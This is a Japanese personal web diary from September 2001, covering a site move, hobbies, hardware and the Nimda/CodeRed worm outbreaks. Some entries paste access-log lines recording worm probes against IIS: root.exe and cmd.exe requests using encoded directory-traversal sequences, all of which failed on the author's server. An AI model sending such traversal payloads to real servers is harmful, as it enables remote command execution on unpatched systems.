大学のネットワーク構成の変更に伴い、lanceもこのまま 続けてゆくのは難しい状況になっております。 このmovementについて思うことはいろいろあるわけですが、 もう直接関わりを持てない身だしこのmovementの中心には 学生時代世話になった方々もいるのでコメントは控えたいわけですが まあそのmovementがいかなるものかは世論が評価してくれるでしょうし 私が直接手を下さんでもいずれ天罰がってお前何言ってんだよ。
ともかく、細々と続けてきたlanceが対外的にサービスを続けるのは 難しくなってしまいそうです。 ネットワーク構成が変わるのは10月初旬、仮にも公開1年を過ぎ、 それなりに見に来てくれる方も増えてきた私のページ群を このまま向こう岸にやってしまうのは忍びなさすぎますので ひっこし先を検討中なのです。
自宅の方ではADSLが開通し、ミラーサイトという名分でzinnia.dyndns.orgという サイトを建てていますが、これをprimary siteにするほど 私の神経は太くないし、フリーのWebスペースを借りて運用しようと 思っております。
でもなかなかいいところがなくて...あまりうるさく条件を求めてるつもりは ないんですがsshとrsyncが使えないところはヤです。一生見つかりませんか そんなところは。えぐ
中旬までにはひっこし先を決めて、各contentsで案内して、 リンクしてくださってる方々に御礼もこめてメール送ったりなんかして、 とか考えてます。
便利になったもので、Web + 通販を使えば 米沢みたいな僻地に住んでいても欲しいものを選んですぐに 手にすることができます。もう本だろうがDVDだろうがハード だろうが女だろうが(死)
そんなわけで米沢でニルヴァーナ生活を続けていても金はどんどん出てゆきます。 今日はDVDが3枚来ました。Neo Wingは まったくもってけしからんところで、ひとたびDVDとかを購入すると そのジャンルの新着情報をどんどんと送りつけてきます。おかげさまで 1月には必殺仕置人のDVD BOXを買うことになってしまったし、向こう3ヶ月は DVDだのCDだのが来まくりです。予算はどうなる。 メールの応対がまた親切でしかも女性で(←?)こまったもんです。 ポイント制度はけっこう得な気がしてなおさら癒着が進みます。 これからも貢がせていただきます(思う壷)。
そんなわけで今日来た3枚は「ボンベイ」「モルダイバー」「幻夢戦記レダ」ですが 我ながらなんという節操のなさだ。モルダイバーなんて金出して買うもんか?と 思ったりもしますしHappy Price!とかいうシールでハッピーになれるほど ウブじゃねえよ荒んだねえ昔は虫も殺せない優しい子だったのに...
書いてるほうはいい気分ですが(すいません酔ってます) 読んでるほうは たぶん少しも面白くないんだろうなあと想像しつつ筆を置きます。 たぶん明日になったら消えてると思いますので見たひとはある意味ラッキーかも しれません。地雷踏んだ気分とか言うな。
消そうかとも思われましたが自分に対する罰ということで消さずに残すことに。
キャスバル兄貴に見られたようだし。
今日は日頃の運動不足解消のために恒例の米沢盆地一周@自転車 をしてきました。自宅を出て赤湯に向かい、今泉まで走った後に米沢に戻るという 経路で距離でいうと50km前後です。
13時過ぎに家を出て14時過ぎに米織観光センター(高畠)でラーメンを食い、 16時前に今泉について17時過ぎにLANカードを買って帰宅とかいうよくわからん 旅でした。途中ペダルを踏もうにも力が入らず仕方なく自転車を押して歩いたり。 やはり体力落ちてます。このままでは自転車で米沢〜山形往復という毎年恒例の チャレンジは失敗必至なのでなんとかしたいです。
Celeron733MHz向けのマザーボードが必要になったのであれこれ探してみるのですが、 並ぶのはわけのわからん単語ばかり。 ざっと見ただけでも、 RIMM、Tualatin、FCPGA、ThunderbirdにFirebird... 仮にもこんぴゅーた歴20年なわけで知らなきゃ調べる術くらいは心得ている わけですが、なんというか最近の技術は必要になっているらしいその時点でもなお 調べたいとか知っときたいとかいう気にもならないというのが本音なところで。 そもそもなんでそんなことを知った上で買物せにゃいかんのかとか、 なんでそんな何か月後に忘れさられるか分からんテクノロジのことを 知らなきゃいかんのか(仕事でもないのに)。 ただ手持ちのCeleron733MHzが動くなるべく安くてしょうもないマザーが 欲しいだけなのに。まったくもう。
というわけで「これからは×××だぜ」とかいって 嬉しそうにCPUのことをコードネームで語りあって、 大枚はたいてどこの馬の骨とも知らぬもんに先行投資してスピードを競いあってる 愛読書は某mag.な方々とは一生分かりあえないなあと思う夜でした。 ではまた。
昨日は初日に毒吐きまくったのでそのフォローをするはずがさらに 傷口を広げていた模様。というわけで今日はフォロー・デイ。
時代も変わってきたので 「デフォルトでglobalアドレス与えない」という 動きはまあしょうがないのかもしれないなーとはおもいます。
firewallを「中の人がセキュリティについていい加減でもいい」ために 立てるという説明は正直意味が分かりませんけど、 中途半端な知識と技術で一人前のつもりでいる跳ねっかえりとか、 globalアドレス貰っても持て余してあれよあれよという間に 穴造る人とか増えてきたようなので、昔のように 大らかではいられないといったところでしょうか。
なんてことを書いてる私も.forwardに仕掛けてた自作スクリプトで 数MBのエラーメール x 数十を延々と往復させていてネットワークを 止めかけたという前科があって、 それって跳ねっかえりの典型じゃんとか思ってみたりもするのですが (反省しろ)、あれも時代が時代なら...
この週末は酒飲んで寝て起きて頭痛くて酒飲んで...を繰り返していました。 馬鹿です。
さて、私の身のまわりにはポンコツマシンしかないので やりたいことをやるにもまずマシンの生存確認and損害状況確認and回復から 始まったりでストレス溜まります。 学生時代はジャンクのお守り生活が 楽しかったりもしましたが、今となっては多少高くてもいいので きっちり動いてくれるマシンの方に魅力を感じるようになりました。 精神的な余裕がなくなったのかな(・∀・)クスクス
でも金ないから結局ありあわせのパーツでポンコツマシン造るしか ないんですが...ケース買う金もなくてマザーボードの箱(段ボール)を ケースがわりにしてるマシンが1台あって、しかもそいつは 家の中では2位の主力マシンだったりして(K6-2 500MHz + 128MB DIMM + LAN + 20GB HDD。NetBSDのcurrentおっかけマシン。シリアルコンソールで運用中...) 貧しいが豊かな生活ですねなんていうこともなく、 もうPC-DIY生活いやーんなどと思いつつでもそこから抜けだせないで いるのでした。BladeとかO2とかに囲まれる生活がしてみたいよほんと
フォローをしてるつもりが微妙に傷口を広げているところが 業というやつでしょうか。ではまた。
あ、そうそう引っ越し先はjan.ne.jpになりそうです。その次に 引っ越すときは自分のドメイン持ってたいもんです。
(昼) 今月は余裕があるなあと思っていたら家賃振り込むの忘れてたかも。 問題なのは振り込むことを忘れたのではなく、 振り込んだかどうかを忘れていることです。
アロンアルファには似た名前のパチモン(?)が多いそうで、それを見て ふと思いだしたのは、図工の時間にアロンアルファをノリがわりにして お面を作った同級生(当時小学校低学年)のことでした。 みんながホチキスやノリで作ってる中、 アロンアルファのお面は人外の臭気を発しており 「3秒つけたら勇者」のお面となっていました。 私は顔を近付けただけでGivin'upするチキンぶりを発揮しましたが、 3秒つけてたら勇者扱いをうけるというよりむしろみんなに避けられる ようになっていたのではないかと思っています。なお私の幼少時の 仇名はなぜか「セメダイン」でした。理由は不明。セカンドネームでは ないし(当たり前だ) 誰か教えてくれ。
ちなみに山形ではホチキス(ステープラー)のことを「ジョイント」といいます。 ...訛りにしては変化激しすぎるし妙に格好いいのがポイント高し。
www2.jan.ne.jpにアカウント とりましたが見事にパスワードを忘れていました。ありがとうjanそして さようなら。←ほんとか
(夜) なんとかログインできたのでmirrorで転送中(rsyncがいぃょぅ(;_;))
転送中もSKoboをやりまくりです。 やはり20面が壁らしく。シャア専用と量産型に囲まれて見とれてるうちに 中心に向かってくる数十個の弾になす術なし。レイに敗れたユダの心境は こんな感じだったのでしょうか。
うちの環境では音楽が鳴らないのでBosconian 68Kの音楽を流してみました。 Little WaveもいいけどやっぱりFlash Flash Flashでしょう。こ、これは燃える!! まさに明鏡止水の境地でした(意味不明)
www2.jan.ne.jpへのおひっこしはほぼ完了。 Web上の告知も出しました。
今回のおひっこしで「アクセスログのチェック」が できなくなりました。いやーSSIしかけてまでやるこたないし(そもそも janではSSI不可だったような)、index.cgiなんて嫌すぎるし。
というわけでREFERER追う楽しみ(?)がなくなってしまうのは 少々寂しいです。リンクしたことを当方に意識させたい場合は zinnia.dyndns.orgに張っていただけるとありがたいです。変なお願いだ。
メインサイトはあくまでwww2.jan.ne.jpということで よろしくお願いします。更新チェックは ねぎ式電探が よろしいかと。管理者様にはお世話になっております(nomailでも お世話になっています)。
うむ、
sql1.host-web.fr - - [12/Sep/2001:10:15:30 +0900] "GET /scripts/root.exe?/cdir HTTP/1.0" 404 288 "-" "-"残念でした。ていうか今度やったら泣く。←泣いてどうなる
(夜) ああ帰りたい。今日の作業予定とかいろいろ立ててたのになあ。 台無しだ。むきー
(朝) 昨日から更新履歴(メモ程度ですが)をつけるようにしました。 SDL Watchとかの読者の数と、SDL関係の新規ドキュメントの読者の数を比べると 圧倒的に新規ドキュメントの読者が少ないです。ほとんどのひとが存在に 気付いていません(^^; せめて更新履歴をつけて 自分のページの見通しの悪さを補おうという作戦です。
(昼前) 昨日は帰ったらほっちゃん(誰)の歌を聞くぜーというくらい 脳味噌腐っていましたが(ほっちゃんに失礼や)、 結局聞いたのはグレープでした。さだまさしさんのいたグループ、 といえばチビッコにも分かりますでしょうか。ダスキンのCM?
私はグレープの「ほおずき」という曲がめちゃくちゃ好きです。 歌詞は...のっけるわけにはいかないので「グレープ ほおずき」で 検索してもらうとして(他人任せ)、 この曲の持つ歌詞とメロディの、「どうしようもないほどどうにもならない」 具合がたまらなく好きです。
(昼) 今日は歴史などを語ってみたくなったり。
今更こんなことを書くと後付けっぽいですが、冒頭に 書いてある「手向け」というのは「おれもそろそろ学校の資源とは おさらばかなー」という気持のあらわれだったりします。
lanceがあがったのは卒研やってる最中でした。それ以前は 大学のWebサーバで 細々とやっていたのですが(当時のcontentはまだ手元のHarddiskにあります)、 なんか当時はアクセス数なんてほとんどない中一生懸命更新していたなあと 懐しいものがあります。
「rsync + sshじゃなきゃ嫌」なんて寝言を言ってる私も、 当時は大量のテキストやディジタルカメラの画像をdialup経由で送るのは いやんということで、更新は「MO持って学校へ行ってsync、しかも mtoolsしか使えなかったので専用ツール自作」とかしてたもんです。
今でこそ「テキスト系」などと呼ばれて読みごたえのあるページも 増えてきましたが(日記系となるとけっこう前からそれなりに繁盛している ようですが)、当時(3〜4年前)は、文字ばっかのページなんて 一部のツウならともかく普通の人(謎)は見向きもしないといった感じが しておりました。
そんな中、想定読者を数名に絞って、普段私が書いている本当の日記の 鮮度をほとんど落とさないままのっけて、私の体験や視点を 共有しようなどというつもりでサイトを運営しておりました。
おかげで極々一部の人にはそれなりに楽しんでもらえたような気がしますが (石垣君元気にしとるかのう...たまにはメールくれ)、 卒業して学籍失うとともに自然消滅しました。
当時に比べれば今のcontentsは見る影もなく薄まっていますが、 あまりの赤裸裸ぶりに本人が辟易していたのかもしれないですな。 最後の1年はほとんどメンテしてなかったし。
現在のページ群も気に入らないところだらけですが、なかなか 抜本的な改革もせんままに現在に至っております。直すのも面倒だし、 現状がそれなりに「楽をできる」仕組ではあるので、ずるずると使い続けている というのが正直なところです。
(夕方) CF-B5RのFreeBSDをstableにすべく自宅のcvsup/cvsupdを調整したり 転送したり/usr溢れさせて泣いたりしています。 4.4-RELEASEを目前にしてstable入れるのもあれですが わしゃもう待つのに疲れたんじゃ! というほどFreeBSD命でもないのですが ともかくmake buildworld中です。
みなさん御存知の通り、ノートパソコンは大抵2.5インチのIDEドライブを 使っております。デスクトップでふつーに使われるのは3.5インチ。 容積は1/3くらいなのに記憶容量はさほど変わらなくて音もあんまり うるさくないものが多くていいわけですが、これの耐久性について みなさんどう思われます?
ここ1年、私の周囲ではこの2.5インチのHDDが不調→入れ換えというのが 頻発しております。同じ日に同じ型番のドライブが2つ壊れたことも。 CF-B5Rのドライブも不調で載せかえました。新品で買ってまだ1年もたってないのに 蓋を開くのは嫌だったんですが、修理に出して1〜2ヶ月も触れなくなるのは もっといやんだったの載せかえてしまいました。
というわけでノートのHDDの耐久性をあまり信じられなくなった私は、 wwwoffle-namazuを動かしたり、make buildしたりとかいうディスクをいじめる 行為はなるべく慎むようにしています。というわけで今回は かなり心臓にいやんな作業なのでした。
昨日は久しぶりに学校で勉強をしました。 私が米沢に存在するのも、縁の続く限りは学校での資源を使い 勉強し、後進の指導にあたりたいという気持があったからなわけですが、 今回は同じ年に学部を卒業した院生(私は留年しているので入学年は 1コ下になりますが)と楕円曲線についての勉強。
ブランクありすぎてさっぱりでした。というわけで院生と合宿に入る予定です。 目的は私の知力回復です。院生の研究? それは本人が頑張ることですな(ひどい)←TOGEさん風
勉強は楽しいですが頭を使うと寝入りが悪くなるのが困ったところです。 やはり勉強は涼しい朝のうちにやって、午後からは遊ぶというのが 正しいスタイルなんですね(いつの話や)。ちなみに私のいた小学校は 夏休み中は午前10時まで外出禁止でした。あのころはひどく横暴な話に 思えたもんですが今なら休みの日の10時なんて起きてる方が不思議なので 問題ないかも。
自宅のPCのNetBSDがどうも調子悪く、1週間おきくらいにpanicします。 こまったにゃん。近いうちにupdateしないとあかんか。
(午後) 98年、というと大学3年(1回目)でしょうか、の、生意気盛りな ドキュメントを見つけたたので晒してみます。 「画像工学」という講義のレポート課題の成果をみなで共有するために 作った記録です(あかんやん)。もともとは日記の一部だったんですが、 タイトルとかは今回でっちあげました。 それにしてもこのCのソースの気取りっぷりは どうよ。しかもあんまりかっこよくない。98年に戻って殴りたい気分です。
夕方に入ってSDL MLの動きが激しくなってきまして、 おっかけて更新...と思っていたんですが仕事の方の動きもはげしくなってきまして 中途半端な状態のまま放置してしまいました。
その後学校で勉強の続きをしたりBM98やったり源平やったりボスコニアン68K やったりリブルラブルやったりで至福ですが寝たのは3時で起きたのは13時。 今日は天気悪いんじゃなかったのかよがっかりだよという心境で、 かつ頭痛です。
ページの方は少しずつ追記してゆく予定です。
む、なんかdyndns.orgから哀しいお知らせが来ているような...
夜更しする
↓
起きるの遅くなる
↓
その日の予定崩れまくり
↓
がっかりしてぼーっとする(するなよ)
↓
夜遅くなる
↓
夜更しする(以後繰り返し)
学生時代は、それが夕方だろうが夜中だろうが、 1日というのは起きた時刻から始まるもんだと思っていました。(笑) そのため、このような循環が悪いもんだとはとくに思っていませんでした。 が、今になって考えてみると、そういう生活はどっか体に無理が行ってたり、 だらだらと睡眠時間が増えるだけだったり、したような気がします。 ゼミとかの強制イベントは時刻ベースで起きるわけで、 完全に時刻から自由になるというのは不可能だったし、それがまた 体に負担をかけていたように思います。
さて、
そんなわけで、規則正しい生活と楽しい週末を送ることが最近の私の 目標だったりしますが、学生さんもそんな生活を送ったほうが 「めりはり」がついていいんじゃないかなーと最近思うようになっています。 まあ当時の私には無理だったように(現在もあまり実践できていないし)、 そう簡単に出来るものだとは思いませんが...
こんぴゅーたを触りまくってると避けられない(と思う)のが 目、頭、手、肩、腰、などへの痛みです。 しごとでマシンをいじって、さらに家でも5〜6時間はいじるという 1日12時間超いじり生活が続くと、痛みがおさまる前に次の痛みがやってきたりで 非常にいやんです。
とくに眼痛からくる頭痛、手の不快な痛みはきついので、 目薬は2種類を常に切らさないようにしていますし、 手の痛みは寝るときに湿布を貼るなどして対策することにしています。
さて午前1時、そろそろ寝るかと思いつつ片手に湿布を貼り、片手に トクホンChill(液状の塗るタイプのもの)を塗りたくってフトンにイン。 そして無意識のうちにChillを塗った手で顔を触っていたらしく、 目のまわりと鼻のまわりが熱くて眠れなくなってしまいました。
んなわけで3時くらいまでマシンのお守りをしていました。 キリよく終わらなかったので放置してフトンに入ったんですが HDDの音がやかましくて結局4時過ぎても寝られず。
前日書いてた「夜更しは不規則生活の始まり」がさっそく始まってしまっています。 なさけなし。
(昼)米沢の秋は短い。そりゃねえよってくらい短いです。 最低気温が20度前後でおー寝やすいとか思ってる2週間後くらいには 10度前後まで下がって「……」です。
私は季節の変り目になるとどうも心身の調子がよろしくなくなります。 特に夏〜秋の変り目は、快適だった夏のこと、厳しい冬のことを 考えて心がかなり重くなります。アントニオJr.@じゃりン子チエほど強烈では ないにしろ、うっかり「鬱」と呼びたくなるような状態です。
「夏の終わり」「晩夏」とかいう言葉を聞くともう裸足で逃げ出したい気分 (用法違い)なんですが、そんなわけで帰ったら 「晩夏」とか「午後の季節風」とか聞いてたまらん気持になろうかと 思っております。
9/21〜9/25、帰省します。久しぶりのネットワークいじりの予定。 今回はMAXの2Fと横須賀線のグリーン車に乗るという野望があったり。 前回(8/15)はMAX 1Fにしか乗れなくて壁しか見えず、 お盆だったのでグリーン車乗るまでもなく快適だったりで 2度目のチャレンジとなります。
(夜) とかいってるそばから帰省中止になりました(泣) 実家のネットワーク工事が予想よりも遅くなるのが原因で。
こんぴゅーた触る生活をしていて気にしなければいけないことがまだありました。 それは爪です。私はLibretto(20)生活を長いこと続けていました。 御存知の通りLibrettoはキーが小さいですから、伸びた爪が隣のキーを 押してしまったりすることもありますし、なによりLibrettoのキートップと 爪が擦れる感覚が気持悪くて、以来、爪の長い状態が我慢できないように なりました。
みなさんは「巻き爪」を御存知でしょうか。指を覆うように生えているはずの爪が 皮膚の方に喰い込むように成長する状態です。正確には巻き爪ではなく 陥入爪というそうです。巻き爪とは文字通り爪が丸まるように成長してしまう ことを指すとか。いずれにしろ酷い場合は手術の必要もあるわけで けっこう怖いです。
私は軽度の陥入爪で、手の指と足の指のどちらのもそれがあります。 爪が伸びているときは気にならないのですが、深爪をするとこの 部分への痛みが再発してキーボードを叩くのが苦痛になります。
で、今調べてみたんですが、昔っから言われている「こまめに爪を切って 周辺の爪と皮膚を削っとく」というのは実は逆効果だということを 知りました。そのえぐった皮膚に沿って爪が成長する→陥入爪が悪化する というサイクルらしいです。
そんなわけであんまり爪は切りたくないのですが切らないとキーボード 叩くのがうっとうしいし。困ったもんですな。
(沈む直前)
szptt171.szptt.net.cn - - [18/Sep/2001:22:00:46 +0900] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 "-" "-" szptt171.szptt.net.cn - - [18/Sep/2001:22:00:46 +0900] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 "-" "-" szptt171.szptt.net.cn - - [18/Sep/2001:22:00:46 +0900] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 "-" "-" szptt171.szptt.net.cn - - [18/Sep/2001:22:00:47 +0900] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 "-" "-" szptt171.szptt.net.cn - - [18/Sep/2001:22:00:47 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 "-" "-" szptt171.szptt.net.cn - - [18/Sep/2001:22:00:48 +0900] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 "-" "-" szptt171.szptt.net.cn - - [18/Sep/2001:22:00:49 +0900] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 343 "-" "-" szptt171.szptt.net.cn - - [18/Sep/2001:22:00:49 +0900] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?c+dir HTTP/1.0" 404 309 "-" "-" szptt171.szptt.net.cn - - [18/Sep/2001:22:00:50 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 "-" "-" szptt171.szptt.net.cn - - [18/Sep/2001:22:00:50 +0900] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 "-" "-" szptt171.szptt.net.cn - - [18/Sep/2001:22:00:51 +0900] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 "-" "-" szptt171.szptt.net.cn - - [18/Sep/2001:22:00:52 +0900] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 "-" "-" szptt171.szptt.net.cn - - [18/Sep/2001:22:00:53 +0900] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 "-" "-" szptt171.szptt.net.cn - - [18/Sep/2001:22:00:54 +0900] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 "-" "-" szptt171.szptt.net.cn - - [18/Sep/2001:22:00:55 +0900] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 "-" "-" szptt171.szptt.net.cn - - [18/Sep/2001:22:00:55 +0900] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 "-" "-"誰だてめェ...(C)間武士@闇狩人 今度やったらおしっこ漏らすぞ(びびっとるがな)
昨日のはてっきりCodeRedIIが攻撃段階に入ったのかと 思いましたがどうやら別の種類みたいですね。かなりの頻度で request(というかattack)かけてくるのでCodeRedIIよりやっかいです。
さらにこのwormの攻撃を受けたIISは、未対策のIEだと見るだけで感染 (またかよ)するページを置くそうで。
山大内からも攻撃受けててうんざりです。いい加減対策しておくれ。 うんざりといえばハイパーリンクの存在しない見当違いの URLを触りまくってる Openfind data gatherer, Openbot/3.0+も...何が目的なんでしょうねえ...
(夜) だめだ帰省中止で気が抜けてしまったのかやる気が出ない... チャットもしてないし会話も少ないので他人様の日記とおしゃべりしてみる テスト。
DHCPで固定アドレスを 与える利点としては、 (1)defaultrouteとnameserverの設定を一元管理できる、(2)Win9xみたいに 設定かえるごとにreboot必要なOSで楽(ipconfig /renewでアドレスつけかえできるし)、 などといった運用上の利点があるかも。 あとarpと組み合わせて登録マシン(NIC)以外が繋がってきたときに弾く/ 一時利用アドレスにご案内する のも簡単だし、あと全部可変にしちゃうと Dynamic DNSとかそれに準ずる仕組が必要でめんどいとかいう本末転倒な 理由も考えられるかも。(←おいおい)
どうせNFS rootマシンとかで必要になるので私は自宅もDHCPで統一しています (全部固定アドレス)。 1台、Serial Consoleで 運用してて、以前カーネル入れ替えのときにうっかりSerial Console使えなく してしまって、さらにDHCPがたまたま落ちているときでひどい目にあったという トホホな経験から、これだけはDHCP無視で固定アドレスにしています。
TOGEさんはここ読んでないと思うしそもそもここ読んでるひとっているのか? 読んだことある人も痛い文章に愛想尽かしたみたいだし(笑)
TOGEさんの反応の素早さに心を鷲掴みにされたZinniaです。 私はTOGEさんの「ひどい」ファンなのでこれからもひどいっぷりを 披露してもらえるとうれしいです(←なんやそれ)
古い日記はどんどん消えちゃうし期間限定なんでリンクしづらくてごめんね。
g4u萌え!
まとまりなく終わってみる日もあります。
(昼) W32.Nimda@mmは強烈ですね。一昨日の夜〜昨日くらいまでは せいぜいアタックが増えて困るやんけという程度で問題の重大さに 気付いていませんでした。
私のlanceのページへのアクセスは順調に減っているようで、 ひっこしはうまくいってるなあという感じです。去っていった ひとがjanの方をひきつづき見ているかどうかを知る術はありませんが(笑)
でもやはり検索サイト経由ではまだまだアクセスが多くて、もっと早いうちに 手を打っておけばよかったなあと思う次第です。
現在なぜかNTFSの勉強中。A file system supports object-oriented applications by treating all files as objects with user/system defined attributes. だそうですがドキュメント少なすぎでは ないでせうか。かれこれ2日以上調査してますがさっぱり状況が見えない。 比較のためにufsのことを調べてるときはman見たりソースを見たりで すぐ理解できるのに...ぶつぶつ
(夜) そういやVMware 3.0の予約は今月中に終わらせとくと安かったなーと 思い注文。うーむLinux版とWindowsNT版が別productだということを すっかり忘れていました。178USDごあんなーい(;_;)
なお私のクレジットカードは「Niftyセゾンカード」という ある意味ちょっと恥かしいカードです。カード使いわけるほど 買物しないし、VISAもいけるこのカード1枚あれば別に問題なかったり するのでずっとこのままです。国内の買物には使わないしね(amazonは除く)。
(沈む前) IE5.5SP2やIE6でも駄目な可能性が出ているらしく。 それってかなり怖いでーす。聞こえてくる話を聞く限りでは、 私の周囲で被害が出ていないのは運がよかったという以外の理由が みつからないわけで...しばらく旅に出たい気分。
ていうか本当に旅に出ます。帰省は中止になったけど連休だし有休 とっちゃったので、ちょっと岩手あたりを旅してみようかと思っています。 ノートとPHS持ってくかどうかは考え中。そもそもまだ行く先とか宿泊先 決めてないし本当に行くのかどうかも含めて考え中です。
FreeBSD 4.4-RELEASE、 変わっちまったねえ昔は虫も殺せない優しい子だったのにという感じがします (同じネタを同じ月に2回もやるな)。現在組み中の サーバに入れてたんですが、私にはあの子が何を考えているのか分からない... などという『積木崩し』の親父(って表現古いよわし)みたいな科白をつぶやきつつ、 NetBSDを入れることにしようと思います。人生もリセットできたらいのに(怖い思考だ)
ではもうちょっと飲んでから寝ます。おやすみなさいまし。
気力が足りん。有休キャンセルしたけどこんなことなら そのままとっときゃよかった...などと思う日もあります。
なんでこんなにがっかりしてるんだろう。というより何に対して がっかりしているのかもう覚えてないというのがまたがっかり。
(昼) Nimda@mmについては、「こうすれば大丈夫」と言われている ことに対して「それでは駄目な可能性も...」といった話が 出てきて、ユーザレベルでは精力的に情報交換や 調査、追試などが行われています。
こういった情報はMicrosoftの方から出てきて悪いことは何もないと 思うんですが... Microsoft的にはもう過去の問題なのでしょうか?
過去の問題なのはマスコミも一緒でしょうか。Web見る限りではもう Nimdaの続報はほとんど見られません。最後に見たのは 昨日の「世界17ヶ国で2万台の 被害」でしたが、本気で言ってるのかなあ?CodeRed系に感染したIISですら 数十万台と言われているのに。まあどうせ報告件数とか そういうレベルでの台数だと思いますが、だいたいasahi.comとか mainichi.comとかでの第一報が「米国で新種ウィルスが大流行」だったし、 そのときにはもうとっくに私の管理してるいくつかのホストではattack 受けまくりでしたし。
Microsoft製品を使ってない人達にも被害が及んでいるわけで、そういう 人々にはEULAの「11. 無保証」「12. 損害に関する免責」「13. 責任の制限」は 当然通用しないと思うんですが、Microsoftは なんかずいぶんのんびり構えてるように見えます。 attackを目的としたrequestやtrafficの増大、機器のダウンといった 程度では訴えられることはないのでしょうか?しかも今回は msn.co.jp自体が事態の悪化に一役買ってるわけで。
とおもったら「緊急セミナー」をトレンドマイクロがやるらしいですよ。 1分1秒を争う事態にマスコミは動かずアンチウィルスメーカはセミナーだそうです。 呆れ果てるとはこのことで、こんなときに人を移動させて 人を一箇所に集めることに何の意味があるというのでしょうか。 目の前で攻撃受けてるのにセミナーに出掛けてるような ネットワーク管理者は敵前逃亡で死刑でしょう(^^;
「うちは大丈夫か」「何をするとまずいのか」 「何に感染するのか」「どうやって確認すればいいのか」 なんてあれこれ言ってくる偉いさんがいますが(中には偉くないひとも いますが(笑))、 今になって慌てたって手遅れだよまったく進歩のないひとびとだ。 いても欝陶しくて邪魔なだけだし、下手なことされてさらに 被害広げてくれたりしたらたまらないので セミナーにでも送り出しとけば管理者は仕事がしやすくていいかもしれないです。 うーんセミナーは便利だ (は?)
予告通り明日から慰安をかねて岩手に行きます。行動が遅かったので 一泊二日になってしまいました...
時間的に見て盛岡に寄るのは難しいかなあ。盛岡の冷麺というやつを 食ってみたい気もしますがまあ次回に譲りましょう。
北上で一泊して月曜の19時に帰宅予定です。
戻ってまいりました。もう歩けねえ...
MAD... とりあえずCD音源をMP3にしたことで明らかに音質が落ちたという 自覚のあるデータを相手に比較しないと差は分からないと思いますが(^^;
document見る限りでは 24bitのoutputになったというのが「高品質」の理由としてあげられていますが... 実際そんなに変わるもんなのかな?
話はちょっとずれますが、 SDL_soundに xmmsのinput pluginを組込めるようなshimがあったら便利かしら? dynamic loadingまでやらんでも、リンクできるようにすれば 対応フォーマットが一気に増えたり増えなかったりするような気がしますが... (どっちやねん)
なお私のヘッドホンはSONYのMDR-NC10です。 inner ear + noise canceller というもんで、どちらも試してみたかった 私としては一挙両得だったりしました。 やっぱりinner ear(内耳じゃないよ)いいわー。です。
ソニー製品は基本的に買わないように しているんですが、そんなI hate 50NY!(←懐しすぎるネタ)な 私でも一瞬で理性飛ばされる製品出してくるから怖いところです。くわッ、 欲しい!!買うしか!! とか。
今度は肩かけ式のやつを試してみたいな。あとは タイムドメインスピーカもいっぺん試してみたい。FM/V買おうかしら(爆)
やはりWeb日記は他人様の日記に反応を返すには一番手軽なメディアですなと 思う朝です。
昨日の話の続き。MDR-MC10はinner earの時点ですでにほとんどの音が 遮断されておりますので、noise cancellerは私にとってはさほど重要では なかったりします。
ただnoise cancellerをONにして電車とかに乗ると、耳から「揺れ」に関する 情報がほとんど入ってこないので...(^^; 30分くらい乗って慣れてからじゃないと 私にはきついです。
なお、192kbps以上でencodeするならlayer2の方がいいらしい、と、どこぞの
研究成果で見た記憶があります。
うわーごめんなさい嘘書いちゃったみたい。
そもそもこのことを考えるきっかけになったのは
このページだったようです。
で、今になって見てみるとそんなことはどこにも書いてないですね(^^; しかも
ビットレートはモノラルの数値だし...
layerというのは1より2、2より3...の方が「低ビットレートでの」 品質劣化を抑えることができるわけですが、それだけ大胆な処理(?)をしていると いうわけで、充分なビットレートを与えることができるならlayer3を 与える必要は必ずしもないはずなんですが... その理解も怪しいなあ。 というわけで↑の話はなかったことにしてください。ごめんなさい。
地元の電気屋さんが実家にネットワーク用の線(CATV)の 仮設営に来てくれたようですが、JCOM側から指定されたケーブルでは あかんということが判明したそうです。 言われたよりも長い距離を引かなきゃいけないそうで、そのためには もっと太いケーブルが必要なんだそうで。
もともと横須賀はCATYという会社がやっており、経営不振でJCOMに 吸収されたのが今年の春だったか、そこらへんで混乱があったのかも 知れませんが(JCOM湘南CATY局の対応はいい加減だったようだし)、 すでに1ヶ月待たされている上に自分とこの設備すら把握できてない この会社相手にあと2〜3ヶ月待ったところでよい未来が訪れるとは 思えんのですが。
(夜) 干支も3Lap目に入った人間がファミコンロッキーに感動している 自分と対面するというのはわりとシビアな体験だったりするのかもしれません。
↑のCATVの件、なんとか今週中にカタがつきそうな雰囲気らしいです。 思ったよりも迅速な対応ですな。 まだまだ予断を許しませんが。
さて、とっても久しぶりにWavelet Digestが来ました。最後に来たのが 5月ですから...4ヶ月ぶりですか。大学2年だか3年の頃から 講読しているんですが、当時は毎月きっちりと出てたのに... この活気のなさは一体何だろう。
今更ながらCrossPadが欲しくてしょうがないです。いや登場当初から 欲しかったんですがさすがにあの値段に引いてしまっておりまして。 でも今になって欲しいとか言っても、もうどこにもない。 うがーーCrossPadの後発は出ないのかーーーーー。そういえば 1年前くらいにTransNoteなる、ThinkPad + CrossPad的なノートが 出ていましたが... f.o.
(夕方) Windowsの出すメッセージにはいろいろ言いたいことが
あるわけですが...
素直に分からんと言え。なにが「Aファイル」だ。
